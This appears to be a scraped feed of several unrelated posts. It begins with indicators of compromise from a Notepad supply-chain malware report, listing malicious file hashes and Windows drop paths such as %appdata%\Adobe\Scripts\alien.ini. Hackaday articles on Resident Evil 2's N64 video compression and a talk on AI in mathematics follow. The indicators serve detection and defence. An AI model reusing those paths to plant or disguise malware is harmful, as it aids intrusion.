821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

securelist.com/notepad-supply-…

Originally released for the Sony PlayStation in 1998, Resident Evil 2 came on two CDs and used 1.2 GB in total. Of this, full-motion video (FMV) cutscenes took up most of the space, as was rather common for PlayStation games. This posed a bit of a challenge when ported to the Nintendo 64 with its paltry 64 MB of cartridge-based storage. Somehow the developers managed to do the impossible and retain the FMVs, as detailed in a recent video by [LorD of Nerds]. Toggle the English subtitles if German isn’t among your installed natural language parsers.

Instead of dropping the FMVs and replacing them with static screens, a technological improvement was picked. Because of the N64’s rather beefy hardware, it was possible to apply video compression that massively reduced the storage requirements, but this required repurposing the hardware for tasks it was never designed for.

The people behind this feat were developers at Angel Studios, who had 12 months to make it work. Ultimately they achieved a compression ratio of 165:1, with software decoding handling the decompressing and the Reality Signal Processor (RSP) that’s normally part of the graphics pipeline used for both audio tasks and things like upscaling.

Texture resolution had to be reduced for the N64 port.
In the video you can see the side by side comparisons of the PS and N64 RE2 cutscenes, with differences clearly visible, but not necessarily for the worse. Uncompressed, the about fifteen minutes of FMVs in the game with a resolution of 320×160 pixels at 24 bits take up 4 GB. For the PS this was solved with some video compression and a dedicated video decoder, since its relatively weak hardware needed all the help it could get.

On the N64 port, however, only 24 MB was left on a 64 MB cartridge after the game’s code and in-game assets had been allocated. The first solution was chroma subsampling, counting on the human eye’s sensitivity to brightness rather than color. One complication was that the N64 didn’t implement color clamping, requiring brightness to be multiplied rather than simply added up before the result was passed on to the video hardware in RGB format.

Very helpful here was that the N64 relied heavily on DMA transfers, allowing the framebuffer to be filled without a lot of marshaling which would have tanked performance. In addition to this the RSP was used with custom microcode to enable upscaling as well as interpolation between frames and audio, with about half the frames of the original dropped and instead interpolated. All of this helped to reduce the FMVs to fit in 24 MB rather than many hundreds of MBs.

For the audio side of things the Angel Studios developers got a break, as the Factor 5 developers – famous for Star Wars titles on the N64 – had already done the heavy lifting here with their MusyX audio tools. This enables sample-based playback, saving a lot of memory for music, while for speech very strong compression was used.

Also argued in the video is that the N64 version is actually superior to the PS version, due to its superior Z-buffering and anti-aliasing feature, as well as new features such as randomized items. The programmable RSP is probably the real star on the N64, which preceded the introduction of programmable pipelines on PC videocards like the NVIDIA GeForce series.

youtube.com/embed/e_6mxw7w1WE?…

hackaday.com/2026/02/03/how-re…

Over on YouTube you can see [Yang-Hui He] present to The Royal Institution about Mathematics: The rise of the machines.

In this one hour presentation [Yang-Hui He] explains how AI is driving progress in pure mathematics. He says that right now AI is poised to change the very nature of how mathematics is done. He is part of a community of hundreds of mathematicians pursuing the use of AI for research purposes.

[Yang-Hui He] traces the genesis of the term “artificial intelligence” to a research proposal from J. McCarthy, M.L. Minsky, N. Rochester, and C.E. Shannon dated August 31, 1955. He says that his mantra has become: connectivism leads to emergence, and goes on to explain what he means by that, then follows with universal approximation theorems.

He goes on to enumerate some of the key moments in AI: Descartes’s bête-machine, 1617; Lovelace’s speculation, 1842; Turing test, 1949; Dartmouth conference, 1956; Rosenblatt’s Perceptron, 1957; Hopfield’s network, 1982; Hinton’s Boltzmann machine, 1984; IBM’s Deep Blue, 1997; and DeepMind’s AlphaGo, 2012.

He continues with some navel-gazing about what is mathematics, and what is artificial intelligence. He considers how we do mathematics as bottom-up, top-down, or meta-mathematics. He mentions about one of his earliest papers on the subject Machine-learning the string landscape (PDF) and his books The Calabi–Yau Landscape: From Geometry, to Physics, to Machine Learning and Machine Learning in Pure Mathematics and Theoretical Physics.

He goes on to explain about Mathlib and the Xena Project. He discusses Machine-Assisted Proof by Terence Tao (PDF) and goes on to talk more about the history of mathematics and particularly experimental mathematics. All in all a very interesting talk, if you can find a spare hour!

In conclusion: Has AI solved any major open conjecture? No. Is AI beginning to help to advance mathematical discovery? Yes. Has AI changed the speaker’s day-to-day research routine? Yes and no.

If you’re interested in more fun math articles be sure to check out Digital Paint Mixing Has Been Greatly Improved With 1930s Math and Painted Over But Not Forgotten: Restoring Lost Paintings With Radiation And Mathematics.

youtube.com/embed/oOYcPkBaotg?…

hackaday.com/2026/02/02/yang-h…